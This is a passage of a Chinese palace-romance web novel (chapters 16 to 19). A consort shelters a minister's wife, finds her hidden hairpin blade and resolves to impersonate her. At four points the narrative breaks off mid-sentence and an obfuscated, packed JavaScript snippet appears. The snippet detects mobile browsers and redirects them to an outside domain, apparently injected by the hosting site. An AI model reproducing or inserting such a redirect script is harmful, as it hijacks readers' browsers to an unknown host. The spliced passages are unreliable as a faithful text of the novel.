乌时云有些看不明白了,明明皇嫂和裴夫人应当是争锋相对的关系,可明显,皇嫂是认识赵婉仪的,熟络程度与她不相上下。 不然也不会如此焦急。 乌时云识趣地先行告退。 戚妤对乌时云颔首过后,便进入了院中。 她手里还握着方才捡到的巾帕,低头看了两眼,这才注意到上面沾了几大滴血。 见此,戚妤将巾帕折起来,放到了一边。 御医很快查明了赵婉仪是普通昏迷,等到醒来就好了。 佩玖将御医送走。 戚妤坐在床边,见宫人俱低眉敛目,于是快速检查了赵婉仪外衣上的痕迹,好在除了点土外,没有血迹。 且赵婉仪身上没有外伤,脸色也并不苍白。 说明巾帕上的血是旁人的。 赵婉仪呆的那个地方只可能是从山上下来的,可那就是一荒无人烟的山,除了长的茂盛点并没有什么特殊。 与赵婉仪形影不离的裴谨呢? 保护赵婉仪的暗卫呢? 甚至连那个叫月鹭的丫鬟都不在赵婉仪身边,以至于赵婉仪孤身出现在了这里。 不过这些疑惑等赵婉仪醒来,就能一一解答了。 现在最紧要的是,通知裴谨赵婉仪在她这里。 戚妤唤了一名宫人上前,让他骑马到裴府,告知裴谨裴大人,裴夫人在她这里。 等这名宫人离开,戚妤想到乌时晏对她的大方,便又唤了另一名宫人,让他拿着她的腰牌快马加鞭回宫告诉陛下这事。 宫人不解其意,但仍听命行事,飞快地去传消息。 戚妤心道,只能帮乌时晏到这里了,如果让裴谨抢了先,也怪不得她了。 戚妤守在赵婉仪身边,支着下巴等赵婉仪醒过来。 约莫两个时辰后,戚妤已经喝了两碗养颜汤,赵婉仪这才悠悠转醒。 戚妤观察着她睁开眼的一瞬间目露警惕,手上倏地抓住被衾,许是手感柔软,她眼中的戒备这才慢慢消去,恢复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127942|180138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如常,并向旁边看去。 戚妤与赵婉仪四目相对。 戚妤抿了抿唇,露出一丝笑意。 赵婉仪则僵住了,一想到她方才本能的反应一丝不差的落到戚妤眼里,心中便发麻紧张了起来。 戚妤没让赵婉仪太尴尬,忧心忡忡问:“赵夫人,你怎么晕倒在了山脚下?” 赵婉仪轻咳一声。 戚妤让宫人给她端来水。 赵婉仪慢慢将水喝完,然后才道:“那山上藏有山匪,他们将我从佛寺掳走,想向裴谨要银子。我在那里发现了迷香,便将迷香点燃,迷晕了他们,自己也跌跌撞撞往山脚下跑,可能吸入了迷香,这才晕倒了过去。” “幸得娘娘相救,臣妇不胜感激。” 戚妤将巾帕递给了赵婉仪。 赵婉仪查看过后,神情不变,如是说道:“臣妇用簪子刺人时,血不慎溅到了巾帕上。” “既然沾了血,娘娘让人将它烧了吧,免得晦气。” 戚妤眨了眨眼,微妙地察觉到了赵婉仪话中的漏洞。 那巾帕是挂在耳朵上,遮挡面容的,若是被掳走,刺伤人时又怎么可能会戴着那种东西。 倒更像是早预料到,不想让人认出自己,或防着身上会沾血,这才戴上。 但戚妤还是让人将这东西烧了。 女主怎么可能是坏人? 赵婉仪见此暗暗松了一口气,垂眸安静下来。 这时,下人禀报裴大人到了,来接裴夫人。 戚妤让人将其请进来,心中为乌时晏扼腕。 因赵婉仪住在她院中的暖阁,裴谨并未直接进来,而是立在外间,隔了道帘子,能隐隐绰绰看到人影。 赵婉仪便将方才的话重复了一遍。 裴谨安静了一瞬,组织着说辞。 他们虽是在佛寺,但什么样的匪徒能绕开贴身丫鬟与暗卫,将赵婉仪劫走?且赵婉仪虽然没有了内力,但武艺还在,杀几个小毛贼简直不在话下。 很显然,是赵婉仪特意从佛寺借道离开,去办事,但不知怎么的,上了山,又昏倒在山脚下。 戚妤问:“裴夫人被匪徒所劫,裴大人可带好了人手上山查看?” 裴谨道:“回贵妃娘娘的话,并未。微臣本与夫人在佛寺,夫人失踪后微臣先回京城调人手,但刚入府便收到了娘娘的消息,孤身骑马赶了过来。” 戚妤思索道:“本宫将身边的侍卫借给你,速速上山找到那些匪徒,让他们尽快伏诛。” 裴谨:“诺。” 赵婉仪受累将匪徒所在的大概位置画了出来。 裴谨接过宫人送出来的图纸便点侍卫离开了。 赵婉仪看向戚妤,见她正微微思索着,便细想了番她方才露出的破绽大不大,会不会引起戚妤的怀疑。 但如果戚妤是她的妹妹,察觉到不对则没什么奇怪的。 毕竟小妹本就聪颖过人。 想到眼前的很可能是自己的妹妹,赵婉仪就心里一热,她本该尽快离开的,这样才不至于受到皇帝的关注。 但戚妤住在皇庄上,不正是一个很好的验证她身上有没有胎记的时机吗? 若戚妤回了宫,她再想知道答案就难上加难了。 赵婉仪行了一招险棋:“娘娘,臣妇心慌无力,可否留下来住几日?” 17. 第 17 章 戚妤沉思过后,点头应允了下来。 她对赵婉仪打心底生出了几分好奇,原本以为赵婉仪只是个普通的内宅夫人,但单这份从匪徒身边逃走,事后还波澜不惊提起此事的样子,就昭示着她的不凡。 大概有一种与生俱来的从容感。 从赵婉仪身边离开,戚妤回到屋内抱起小金,将它放到自己腿上,慢慢出神。 不知不觉间,外面夜色渐深,戚妤听到宫人禀报说裴夫人用过膳后又睡了过去,后知后觉意识到乌时晏没有到庄子上。 她是在下午发现赵婉仪的,两个时辰后裴谨出现,现在裴谨说不定都将匪徒捕获了,纵使回宫报信的人在路上耽搁,但乌时晏也不会现在还没来。 戚妤问起回宫报信的人,得知还没回来,不由担忧起来。 宫人道:“去往裴府报信的宫人目送着同行的人往宫门口的方向走,皇宫附近,出不了差错。想来是陛下国事繁忙,并未在意这件小事,这才让人在宫里耽搁了,许是明天一早就回来了。” 戚妤暂且放下忧虑,她是真看不懂乌时晏了。 不待她多想,裴谨深夜带着侍卫从山上下来回了庄子上。 戚妤派人去询问,得知的消息却让她大吃一惊,山上的压根不是匪徒,而是反王余孽。 反王余孽借用从前废弃的匪寨藏匿在此,应是作为他们在京师的据点之一。 且裴谨他们去的时候也根本没见到昏倒的人,而是一地死尸,均是沿着脖子一刀毙命,血都没喷溅多远。 因此事事关重大,裴谨没等天亮就借了庄子上一匹快马,回京上报。 这也就说得通,为什么匪徒费尽心思却只劫了赵婉仪一人,这哪是威胁裴谨,分明是威胁乌时晏。 上次没有得手,又有了第二次。 不过,戚妤莫名觉得,这事与赵婉仪绝不止是被劫走,又机智逃脱的关系。 戚妤将快要被自己撸秃了的小金放下,也起身去睡觉了。 翌日,在没得到消息前,戚妤让人给赵婉仪收拾了出了一个院落。 迁住到独院的赵婉仪摸了下头上新得的发簪,跟她以往的喜好的一样,朴素,不出风头。 但入手却是沉甸甸,冷冰冰的质感。 谁能想到,她用这个簪子将人全杀了,一刀刺死,只有几滴血不慎溅到她身上。 意外得知反王余孽的落脚点,她就在筹谋今日的事,当日在郊外驾车的吴叔被杀,她一直记着这事,只可惜那天不能手刃仇人,一直遗憾至此。 这次她不再耽搁,去取了这支簪子后,就上了山,潜了进去。 最初一切都很顺利,只可惜最后自己不慎吸入了部分迷烟,才栽倒在山脚下。 她只能对戚妤说是匪徒,毕竟反王余孽不是她能接触并辨认得了的。 裴谨上山后定然也发现并猜出了她的作为,不过以他厌恶反王余孽的行事风格,大约也会顺着她的说辞。 只是此事暴露,裴谨也会知道她随身带着能威胁人命的武器,亦会更加防范起她刺杀乌时晏。 今日戚妤没心情喂鱼,但是庄子上的日子太惬意,让人紧迫不起来,她便遵从本心,提笔平心静气地练起了字。 半个时辰后,昨日给乌时晏递消息的人先一步回来,戚妤将人叫到了自己面前。 此人名唤福安,是昭阳殿的一名小太监。 福安道:“奴才昨日太阳还没落下时便见到了陛下,只是陛下听了此事,喜怒难辨,只让奴才退下,奴才摸不清意思,便呆在了宫里。” “直到陛下身边的田公公来找奴才,还唤奴才呆头鹅,指点了奴才,说让奴才睡一觉,等天一亮速速回来向娘娘复命。” “除此之外,田公公什么也没说。” 自然,乌时晏的态度也是不明的。 戚妤道:“做的好,领赏去吧。” 福安喜笑颜开地谢赏。 戚妤心道,她不管乌时晏了,他这人一点都不上进,不知道心里在忧虑什么,连个主意都不拿。 定然是田文善估摸着乌时晏的意思打发了福安。 田文善若知道戚妤这样猜测他,定然喊冤,明明陛下说了的。 陛下在小太监退下后便转身道:“让他回吧。” 他这才紧赶慢赶让小太监回皇庄复命,只是宫门已经落锁,只能等第二天一早了。 福安离开后不久,戚妤便听下人禀报裴谨又来了庄子上。 毕竟裴夫人还在这里,戚妤很理解。 这次他是奉皇命来调查反王余孽之事,乌时晏将这事全权交由了他来查办。 裴谨要见赵婉仪,宫人将他领去了赵婉仪的院子。 没一会儿,宫人便来向戚妤禀报说赵婉仪想请她过去。 戚妤放下手中的书,满腹疑惑去了赵婉仪的住处。 刚到门口,她便听到了裴谨冷硬的声音:“反王余孽的事暂且不论,回裴府。” 赵婉仪声线单薄但不乏韧劲儿:“不行。” “我答应了娘娘要住在山庄。” 戚妤无奈心想明明是赵婉仪要住下的,不过她没有折赵婉仪的面子,当即走了进去,顺势道:“是本宫让赵夫人留下来的,裴大人,赵夫人经此大难,你该多关心关心她,而非这样声色俱厉,赵夫人是女子,也盼着夫君能贴心,你这样,换个人定要伤怀。” 赵婉仪垂眸,唇角微弯。 裴谨有心无力,僵硬着称是。 他又想起了不好的回忆,赵婉仪的妹妹当年年纪小,脾气却大。 因为他让她背文章,她反应过来,许是觉得当时将他推出去并不解气,第二天主动带着嬷嬷来堵他,因他当时比她高一头,她还特意让嬷嬷将她抱在椅子上,居高临下,引经据典地训了他一顿。 他当时明明能走,但见到她需要站在椅子上才能俯视他,觉得分外好笑,便留下来听她如何说。 记忆里她怎样鲜活的趾高气扬已经不太清晰,唯独记得她所说的话怎样将幼时的他折服,目瞪口呆起来。 事后只觉得赵婉仪果然没说错,她妹妹是个天赋奇才。 今日见到贵妃漫不经心,语带敲打的模样,裴谨才恍然与记忆对应起来。 不怪赵婉仪非得确认这不是她妹妹,才能真正死心。 换做他,他也会问个清楚。 只可惜已经物是人非,他也早没了从前的心境,不会如赵婉仪这般停留在过去,妄想弑主来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127943|180138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报仇,有些事该放下就得放下。 没一会儿,裴谨据理力争道:“娘娘,月鹭那个丫鬟还在裴府担忧着微臣的夫人。留在这里,过分叨扰娘娘不说,过几日,夫人也该上医馆请脉喝药了,不妨让微臣今日将夫人接走,免得再麻烦娘娘一回。” 戚妤看向赵婉仪,这事,还得问赵婉仪的意愿。 赵婉仪自然不会同意:“月鹭在臣妇身边叽叽喳喳惯了,臣妇也想清净几日。况且臣妇怎会不知道会打扰了娘娘,是以只会住三日,三日过后,臣妇便会回裴府。在这期间,并不会耽误什么事。” 紧接着,她泫然欲泣道:“裴郎这几日忙于反王余孽之事,是为公事,纵然臣妇回府,也见不到裴郎几面,那呆在裴府与这里又有何区别?” 裴谨将赵婉仪带走,正是为了看住她,在找到她新得的能割断喉咙的利刃前,不让她有到陛下面前的机会。 这件事,只有他们两人清楚,换句话说,一旦裴谨忙碌起来,便再无人能防范住赵婉仪了。 譬如这次从寺里避开丫鬟与暗卫离开,不知道赵婉仪费了多少功夫,去了多少次寺庙添灯祈福才抓住了这次机会,在他疏于防范时,人没了。 若换平常他不在府,赵婉仪只需将下人挥退便能避开耳目。 而有他在,他则会打着关心的名义让下人去看夫人在干什么,以使她真的在裴府,而不是在其他什么地方。 赵婉仪与裴谨交锋时,戚妤则在一旁思量。 忽然,她开口道:“陛下这几日都不会来。” 在戚妤的认知里,裴谨不愿让赵婉仪留下,不就是害怕乌时晏翘了他墙角么,可三日也不让赵婉仪留下,那可太残忍了。 他怎么能连自己妻子的意愿都不顾? 裴谨顿了一下,拱手道:“那就依娘娘所言。” 他这几日确实会忙碌,呆在戚妤身边,是最好的决定。 戚妤忍不住笑了一下。 还真是被她猜中了。 此间事了,裴谨要继续查反王余孽,且要在短短几天时间内将前因后果呈在御案上,由陛下过目,因此不敢耽搁地告退。 在出去这间屋子前,他听到一个宫人忽然道:“赵夫人,您的簪子要滑落了。” 簪子重,就是这样不方便,且打这个的簪子的工匠为男子,好用是好用,但全然不顾戴在头上会有多坠。 赵婉仪将簪子重新插回去。 裴谨有预感似的回头,将簪子的模样牢牢记下。 虽然他不知道赵婉仪从前有没有这个簪子,但她的贴身丫鬟定然知道,月鹭可还在裴府。 同一时间,戚妤的目光也落到了簪子上。 这应该是赵婉仪昨日用来刺匪徒的簪子,可簪子末端并不像料想的那般锋利,反而略钝,且比普通簪子要厚,因而容易滑落。 这样的簪子,她又是如何能刺伤匪徒的? “娘娘,臣妇身上可有什么不妥?” 戚妤轻轻摇头,想了想道:“本宫要多送你些好用的簪子。” 要锋利的,能防身的。 赵婉仪愣了一下,久久才反应过来是什么意思。 她昨日对戚妤说,她拿簪子防身,才溅了血。 18. 第 18 章 戚妤事后便吩咐工匠开始做簪子,在看过宫人呈上来的簪子图纸,她选了几张,又根据对赵婉仪的印象修改了几笔,然后才交代下去。 这一下午,戚妤除了在处理这件事,就是打听赵婉仪喜欢什么。 赵婉仪不常出裴府,且乌时晏说过赵婉仪与裴谨在宫外几乎形影不离,若是夫妻间黏糊些还好,可今日所见并非如此。 赵婉仪呆在庄子上,她自然要好好尽一尽地主之谊。 在赵婉仪院中侍奉的宫人旁敲侧击问清楚后,跑来告诉了戚妤。 戚妤听宫人说赵婉仪在裴府喜欢赏花逗雀,便拨了花匠将庄子上的奇珍异草移栽到赵婉仪院中。 鸟的话,庄子上真没有。 顶多有麻雀路过,想啄食粮谷,被下人赶走。 戚妤让人去京中寻摸一下鸟禽,不拘什么价格,买回来便是。 做完这一切,用过晚膳,她便歇下了。 另一边,赵婉仪透过窗户,看向院内月下的新土,上面栽着开的正盛的花,在月光下舒展着枝条,别有一番宁静。 这是戚妤为她费的心思。 但是,她好似对谁都这样好。 宫人打趣般的问她喜好时,她便猜到是戚妤的吩咐,于是本能对宫人套了话,自然也就知道戚妤待云平公主并不差她分毫,世间难得的良驹都分给了乌时云,甚至专门学了她所钟爱的骑马。 以至于后来乌时云几乎天天跑到庄子上,缠着戚妤,那份热忱简直让熟悉这位公主的人感到心惊。 皇室之人凉薄,乌时云也不例外,不过她惯以柔弱得体示人,以至于让人觉得她好攀附。 实际上,云平公主的冷酷与乌时晏如出一辙。 赵婉仪压下心中种种杂念,终于开始思索起如何才能看到戚妤身上的胎记。 那块指甲大小的胎记长在右边的肩胛骨,稍微脱下衣裳便能看见。 让人换件衣裳的方法倒是很多…… 若戚妤真是她小妹,她反倒不知道该怎么办了,应是想方设法将戚妤推的远远的,唯愿她像现在这样无忧无虑,不被烦扰。 这夜,赵婉仪在窗边驻足了良久。 翌日,戚妤喂鱼时边听宫人讲庄子上发生的事,边观赏锦鲤因抢鱼食而迸溅出的水花。 这时,赵婉仪身边的宫人走了过来,她道:“娘娘,那位赵夫人说今日闲来无事,想请娘娘去她的院中玩麻将。” 戚妤手上的动作一顿,她虽然知道麻将早已从宫内传了出去,但目前只在小范围内传播,用来打发时间,尚未在京中掀起浪潮,没想到赵婉仪居然会知道这东西。 因为有一段日子没玩了,乍然听到这个邀请,戚妤反应过来后,当即便心动了。 她轻咳一声:“本宫便去与赵夫人玩一玩吧。” 刚好她出宫时带来了一副麻将,就怕在庄子上无趣。 但在庄子上这些天,她竟时时都觉得有意思,早将麻将忘之脑后,连乌时云来她都没想起此物。 戚妤让宫人将麻将带上,她则先一步去了赵婉仪的院落。 等到时,院中的景象与昨日早上有了很大差别,只见庭院中开满了漂亮花卉,除了原本的路,多了一条浇水的小径。 屋内,赵婉仪已经让人备好了茶点。 她见到戚妤,笑道:“臣妇便知道娘娘会来。” 然后盈盈行了一礼。 戚妤忍不住脸热,她在赵婉仪心中有这么贪玩儿吗? 戚妤扶住赵婉仪的手:“夫人邀请,本宫定不会拒绝。” 因两人的手轻轻搭着,在戚妤坐下后,赵婉仪顺势坐在了她身边。 麻将需要四个人。 戚妤想到赵婉仪到庄子上后,乌时云便没再来,心里清楚乌时云这是在特意避开她和赵婉仪同时出现的情况,便没强求让人去唤乌时云,而是让自己身边两个知道麻将玩法的宫娥坐下。 并提前说好,赢了算她们的,输了算她的。 不能让宫娥来陪她,反倒轻了自己的荷包。 很快,随着麻将的碰撞声与宫娥轻柔的念牌声响起,戚妤不知不觉间便入迷了。 幸好她之前没想到这东西,不然呆在庄子上真成是来避暑了,反倒会错过真正值得去看去玩的事。 时间一点点在指尖流逝,忽然,赵婉仪抬手端茶时,手腕一个不稳,茶碗猝不及防翻倒,里面的茶水全泼洒了出来。 大部分茶水洒在赵婉仪自己身上,她的衣裳被打湿,沾满了茶渍,手上也都是水痕,还有水在往下淌。 好不狼狈。 戚妤坐在赵婉仪右手边,加上刚摸了一张好牌,正是专心的时候,自然没有防范。 因而身上被泼洒了一部分。 但这是浓茶,只是一部分,便留下了褐色的印子与经久不散的茶香。 房梁上的林七倒注意到了,只是她看到的是赵婉仪不慎将茶水洒到自己身上,自然没有出手的道理。 等发现殃及戚妤时,已经来不及了,便只能继续蹲在房梁上,为自己的失职懊恼。 同她一起在这间屋子内的还有赵婉仪的暗卫。 暗卫名唤卫四,昨夜便来了庄子上,林七察觉到外人的痕迹才发现了他。 因同为陛下培养的暗卫,见是自己人,林七便没再管。 而卫四这边,他只被交代记录赵婉仪的日常,并在遇到危险时保护赵婉仪,但对于这种情况卫四不知道该怎么做,又因事情发生在一瞬间,根本不等他思量好,见已经出事,便只能装死到底。 赵婉仪垂眸怔住,像是被惊到了。 可若此时看她的眼睛,定会发现她眼眸中的沉静,一点都不意外茶会翻倒。 戚妤此刻出奇的镇定,她迅速从摸到好牌的喜悦中脱离,带着点点遗憾,不管自己身上还沾有茶渍,第一时间先去查看赵婉仪的情况。 戚妤道:“水洒的太多,衣裳都湿透了。佩玖,去取帕子。” 赵婉仪此刻仿佛才回过神,脸上窘迫起来。 但帕子擦不干净,赵婉仪试了两次后不再为难宫人,起身去换了一身衣裳。 佩玖在擦戚妤身上的水渍:“娘娘,您的衣裳上虽然被茶水洒到的地方少,可也落了痕迹。” 戚妤不在意道:“回去换了便是。” 佩玖拧眉,她不想娘娘有任何失仪。 恰在这时,赵婉仪换好衣裳,从室内走出来,闻言道:“娘娘,臣妇这里还有一身新衣,不如先换了,等回去后再重新沐浴更衣。” 她又恳切道:“臣妇一时失手,反倒连累娘娘脏了衣裳。” 她们两人身形相仿,赵婉仪的衣裳戚妤也是能穿的。 佩玖也随赵婉仪在劝。 宫人去主院取衣来回脚程就得一刻钟,这种沾了茶渍的衣裳让堂堂贵妃多穿一刻钟都是宫人的失职。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127944|180138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戚妤真不觉得有什么,但耐不住佩玖越来越可怜的眼神,微微叹气道:“本宫去换一身便是。” 她起身,往屋内走去。 佩玖这才一扫眉间的阴霾,去向赵婉仪取了衣裳后,才跟上去。 进到屋内,戚妤先是扫了一眼,抬脚刚想去屏风后便看见了铜镜前放置的一支簪子,正是赵婉仪昨日佩戴的,她走近,等再反应过来时,她已经将簪子拿在了手上。 她本来想摸一摸簪身尖锐的一端,看能不能刺伤人。 谁知簪子落到手上却格外沉,铁一样的触感。 戚妤心中升起微妙的预感。 她仔细端详起这支簪子,簪子通身是黄铜色,簪头有四枚花瓣,中间是一个小小的花苞,整体模样古朴。 戚妤摸上簪头的花瓣,最后手指停在一个有暗纹的花瓣上,摩擦片刻后,用力往下一按。 只听一声细微的咔哒声,簪身末端突然弹出一个细长的小刀,比簪身短、细一点点,却无可否认它的锋利。 轻轻一划,似乎就能割开皮肤,若找准角度,一击毙命也不是难事。 戚妤目光一滞,却没有惊动林七,她将簪子复原,放回原位,然后走到屏风后。 她需要冷静一下。 佩玖与一名宫娥进来,为戚妤换衣。 戚妤心不在焉想着方才的事。 自然也没瞧见一旁的木几上放着一块玉佩,若是扫一眼,她定能认出这是赵婉仪方才佩戴的。 衣裳穿戴很是繁琐,至少对戚妤来说是如此。 因而赵婉仪走近时,戚妤堪堪拉起上衣,单薄纤瘦,白的如一捧雪的脊背在赵婉仪眼前滑过。 不过霎那间,赵婉仪原本沉静的双眸像被冻住一般,又碎裂起来,整颗心狠狠跌入了谷底。 她身上发冷,慢慢竟颤了起来。 戚妤右边的肩胛骨上什么都没有,这怎么可能? 她茫然,无措,后知后觉才垂首。 其实早在那日宫里,戚妤听到裴谨提起这件事毫无反应,她便该想到最坏的结果。 可戚妤的行事太像她记忆中的小妹了,以至于乱了分寸,非得验证一下。 如今有了结果,却又难以接受。 戚妤转过身,见到是赵婉仪,眼眸一暗,眼底尽是复杂。 本来一个京城官夫人有一个保命的暗器不算什么,但偏偏此时山上却死了那么多尸体,很难不让她将此事联想起来。 “你怎么在这里?”戚妤扶额,无奈道。 赵婉仪仍垂着首,她失魂落魄又强使自己镇定,嗓音沙哑:“臣妇的玉佩忘拿了。” 戚妤这才主意到旁边放着的玉佩,又见她如此模样,并未起疑。 佩玖拿起玉佩递给赵婉仪。 赵婉仪这才抬眼,她低头时眼眶中泛起的红已经强压了下去,除了嗓音有些异常外,与方才在外间无异,仍是平日里端方的裴夫人。 戚妤与赵婉仪四目相对,赵婉仪率先错开视线,戚妤目光落回自己身上,复又看向赵婉仪。 这般几次,她骤然发现,换了赵婉仪素雅风格衣裳的她与赵婉仪非常之像! 她们长相相似,但这时的像更是毫无阻碍将她认成赵婉仪的像。 神态再调整一下,姿态再接近一些……便是佩玖也不一定能认清。 仿佛有一间新世界的大门在戚妤面前缓缓打开。 19. 第 19 章 戚妤想回家,但回家就绕不开走剧情,她需要在宫宴上与赵婉仪相换,到裴府瞒过裴谨后假死病逝。 但迄今为止,没有人将她与赵婉仪认错,更何况朝夕相伴的裴谨了。 戚妤不抱希望届时裴谨会眼盲心盲,数十日都发现不了,所以她必得毫无破绽的扮作赵婉仪,在裴谨面前骗过他。 不过现在离这个剧情还很远,不必着急,只是现在与赵婉仪相视,她突然就想到了这件事。 她从现在开始,得多留意赵婉仪的行事风格,才不至于临门一脚坏了事。 换好衣裳,戚妤并未离开,而是坐下来继续玩。 只是时不时用余光扫向赵婉仪。 不知道是不是错觉,戚妤感觉在她身后从屋内出来的赵婉仪唇畔带着几分凄苦,眼眸也不如之前亮了。 好在两轮过后,赵婉仪的眼神慢慢坚定了起来,不知在想什么,一扫方才的苦涩。 像是一下子想通了。 戚妤连忙止住思绪,将注意力重新放到赵婉仪的举止上。 再这样漫无边际的想下去,她就该错过今日了。 赵婉仪在庄子上只住三天,再像这样可以肆无忌惮交谈还不知是什么时候,自然不能浪费这大好的机会。 一上午的时间,在戚妤的忙里偷学中度过。 她与赵婉仪有太多不一样,这么短的时间只够她学个皮毛,糊弄不懂的人。 不过即便在这种情况下,在牌局上还是戚妤赢的最多。 另外两个是她的宫人就算了,怎么赵婉仪也好似在给她喂牌,因为不明显,戚妤只是有点怀疑。 她们四人中,赵婉仪输的最多,失手打出了好几张好牌。 但赵婉仪不差钱,不光赵家是百年望族,底蕴深厚,裴家的财富也让人望尘莫及。 据说当初裴谨母亲,裴老夫人便是带着丰厚的嫁妆嫁入裴家,更不必说裴家经年的积累了。 现在裴家只剩裴谨一人,赵婉仪作为裴府唯一的女主人,单从这点就可以窥见她的豪奢。 戚妤回到主院后,并没有先换掉衣裳,而是屏退宫人,对着铜镜出神。 她一点点调整神情,慢慢从细微处磨出赵婉仪的神态。 良久,才有了些神似。 但戚妤却很满意,毕竟终于有了进度,等剧情发生时也有了底气。 下午的时候,戚妤在书房面见了前日傍晚随裴谨一起上山的一名擅画的侍卫,让他将匪徒尸体上的伤口画出来。 拿到图后,戚妤仔细比较着。 侍卫补充道:“当日的尸体都是零散躺到地上,均只有脖子上一道致命伤口,裴大人勘探过后说,应是这群反王的人中了迷烟后又被另一伙人寻到这里将他们杀了。” 这并不出奇,反王余孽得罪的人可不少,往往朝廷还没出手,他们就先一步死干净了。 反王姓齐,是大燕唯一的一名异姓王,是为齐王。 齐王年过半百,但从二十岁时便开始筹谋布置,三十年布棋,将细作安插进皇宫王府、世家大族、官员府邸中,并私养重兵,在治下吞并百姓土地,以粮养兵。 齐王势大时,朝廷正为立谁为太子吵的不可开交,官员们纷纷战队,排除异己,皇帝年老,有心无力,竟无人发现齐王的谋反之意。 最后让齐王窜通上下,一路攻进了京师,皇帝并那群皇子大臣还不知事态严重。 即便乌时晏将一切夺了回来,并杀齐王祭天,但他留下的细作还是让人头疼不已,冷不防就是一道暗箭。 因此被算计到的世家大族对这些人恨之入骨,反王余孽于是开启了躲躲藏藏的生涯,但一旦冒头,便预示着争端将起。 他们最活跃的那一年,乌时晏睡觉时枕边都得放一把剑。 戚妤确定了,尸体上的伤口确实是那支簪子造成的,也就是说,山上的匪徒都是赵婉仪所杀。 冷酷、干净利索,是戚妤对赵婉仪的又一印象。 大概是赵婉仪将人迷晕后,准备走,又想起了上次的仇怨,这才将这群人杀了,以免后患。 戚妤心中震动,让侍卫退下后,她坐在书房的太师椅上,扶着额头,在愣神。 直至佩玖将兰兰带来了,问她要不要去烤大鹅。 萎靡的脸上这才焕发神采。 原来是兰兰觉得收十两银子受之有愧,毕竟她又没做什么,便逮了一只自己养的大鹅,希望娘娘把它吃掉。 戚妤自是欣然应下,带着佩玖并两名宫人与兰兰来到了一个用泥巴与干草砌出来的炉子前,眼睁睁看着兰兰将大鹅拔了毛,清理干净后,在腹部放进香料后挂到炉子里开始烤。 兰兰自己做自然不用香料,但这是为娘娘做的,厨房里的东西也任她取用,她自然怎么精细怎么来。 戚妤亲自泡了壶花茶,又让人去摘了果子,在一旁烙了薄饼。 她的心情在炉子里的烤鹅飘出香气时已经明媚了起来。 兰兰这么小都会杀大鹅,那赵婉仪动个刀再正常不过了。 兔子逼急了还会咬人呢,再结合裴谨的那番话,说明裴谨也是清楚的,才虚造了另一伙人。 既然如此,她又何必太过惊讶? 又过了一段时间,烤鹅的香气更大了,兰兰顶着一张严谨的表情点了点头:“可以了。” 宫人将烤鹅取下来,并拿出了切肉的刀。 戚妤道:“切一部分给赵夫人送去。” 宫人称诺,细细切起来。 戚妤被馋的口水直流,干脆不等宫人上手,自己拿起小刀切了一小块开始品尝起来。 有点烫嘴,但油香四溢,外面表皮酥脆,里面肉质嫩滑。 她吃的都舍不得张嘴。 吃完后,戚妤对着兰兰点头:“好吃!” 兰兰这才展露笑颜。 戚妤只带来了三人,人数不多不少,一整只烧鹅被她们几人配着果子堪堪消耗殆尽,薄饼也卷着肉吃完了。 之后,她们每个人都捧着杯子解腻。 戚妤坐在躺椅上,赏了一番日暮之景,这才回主院。 回到主院后不久,她就收到了赵婉仪送来的香囊,里面放了几片晒干的花瓣,说是谢谢她送去的烤鹅。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127945|180138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戚妤问宫人赵婉仪下午在干什么。 宫人答道:“赵夫人在侍弄花草,里面的花瓣也是赵夫人亲自择好装进去的。” 戚妤低头,将香囊佩戴在了腰上。 宫内,乌时晏的寒毒又发作了,刚搬出温室殿的他被迫再次搬回去。 田文善在耳边喋喋不休的责问萧从手底下的暗卫是干什么吃的,萧从无言以对,孟舍照旧熟稔下针。 冷,乌时晏觉得自己的骨头都泡在了冰水里,棉被不管用,烧的热腾腾的温室殿作用也在变浅。 他内心止不住的阴戾,却在想到戚妤时心里漏了一拍。 他渴求戚妤温热细腻的肌肤,想浅尝她柔软的唇,想将她抱在怀里给她降下温室殿的热燥。 他想抿掉她的汗珠,亲吻她的额头,握住她的手探到他的衣襟里。 